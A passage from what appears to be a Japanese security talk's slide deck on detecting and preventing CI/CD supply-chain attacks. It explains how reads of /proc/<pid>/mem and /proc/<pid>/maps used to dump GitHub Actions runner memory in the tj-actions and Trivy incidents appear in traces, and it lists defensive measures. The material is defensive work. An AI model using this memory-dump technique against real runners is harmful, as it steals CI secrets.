48. 第1部で見た攻撃手法は、トレース上でこう見える tj-actions・Trivy いずれの事案でも使われた /proc/<pid>/mem 読み出しを検知できる ファイルアクセスのトレースに /proc/<pid>/maps と /proc/<pid>/mem への read が記録されている Takumi Runner (4): メモリダンプ攻撃の検知 © 2026 GMO Flatt Security Inc. All Rights Reserved. 48 / 53
49. DuckDB クエリでの検索 Takumi Runner (5): メモリダンプ攻撃の検知 © 2026 GMO Flatt Security Inc. All Rights Reserved. 49 / 53
50. Detection に加え、Prevention・Hunting へ 記録と検知だけでなく、攻撃の成立自体を防ぎ、能動的に発見する方向へ広げていく Prevention: Rootless mode 第1部で見たように、reviewdog / Trivy いずれの事案でも /proc/<pid>/mem 経由のメモリダンプが使われた Hosted Runner では root を取れるので、Runner.Worker のメモリを読み出せてしまう Rootless mode では Runner プロセスを非 root で実行し、メモリ読み出しを防ぐ エフェメラル VM で分離しても root が取れる限り攻撃は成立する。ここを根本的に塞ぐ Hunting: トレースデータの能動的活用 蓄積されたトレースデータに対して、既知の攻撃パターンを遡及的に検索する 新しいアドバイザリが出た時点で、過去のジョブに同じ痕跡がなかったかを調査できる 直近の大規模侵害時（Trivy 等）のレスポンス支援もここに含めていきたい Detection は「リアルタイムで気づく」 、Hunting は「後から能動的に見つけに行く」 Takumi Runner (6): 今後の展望 © 2026 GMO Flatt Security Inc. All Rights Reserved. 50 / 53
51. さいごに © 2026 GMO Flatt Security Inc. All Rights Reserved. 51 / 53
52. 3つの変化と4つの柱 次はみなさんが「次の人」になりうる。仕組みで止める 変化 (1): 攻撃は連鎖前提で設計されている。Trivy → LiteLLM → Telnyx のピボットがそれを示した 変化 (2): 攻撃の練度が上がっている。クラウドインフラへの土地勘がある攻撃者が CI/CD を狙っている 変化 (3): AI への委譲が進む中で、人間の判断という防波堤が薄くなりつつある この3つの変化に対して、四本柱で仕組みを強化したい i. 受け入れ評価の強化: Dependency Cooldown・供給元の限定（Takumi Guard 等） ii. 評価したものへの依存固定: SHA pinning（pinact） ・ロックファイル徹底 iii. DevOps 系アーキテクチャの堅牢化: ビルドとデプロイの分離。即死構成を減らす iv. DevOps 系エンドポイント統制の強化: CI/CD のログ・テレメトリ確保（Takumi Runner 等） さいごに © 2026 GMO Flatt Security Inc. All Rights Reserved. 52 / 53